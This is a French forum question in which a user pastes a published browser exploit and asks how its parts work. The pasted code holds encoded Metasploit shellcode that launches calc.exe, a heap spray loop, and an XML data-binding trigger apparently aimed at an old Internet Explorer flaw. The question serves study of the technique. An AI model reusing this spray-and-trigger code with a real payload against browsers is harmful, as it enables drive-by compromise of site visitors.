Je n'ai généralement pas de difficulté à lire le code JavaScript, mais pour celui-ci, je ne peux pas comprendre la logique. Le code est issu d'un exploit qui a été publié il y a 4 jours. Vous pouvez le trouver sur milw0rm .
Voici le code:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Voici ce que je crois que cela fait et j'aimerais que vous m'aidiez pour la partie que je ne comprends pas.
La variable shellcode
contient le code pour ouvrir le fichier calc.exe
. Je ne comprends pas comment ils ont trouvé cette corde bizarre. Une idée?
La deuxième chose est la variable spray
. Je ne comprends pas cette boucle bizarre.
La troisième chose est la variable memory
qui n'est jamais utilisée nulle part. Pourquoi le créent-ils?
Dernière chose: que fait la balise XML dans la page?
Pour le moment j'ai de bonnes réponses mais surtout des réponses très générales. J'aimerais plus d'explications sur la valeur du code. Un exemple est unescape("%u0a0a%u0a0a");
. Qu'est-ce que ça veut dire? Même chose pour la boucle: pourquoi le développeur a-t-il écrit length < 0xd0000
:? Je voudrais une compréhension plus approfondie, pas seulement la théorie de ce code.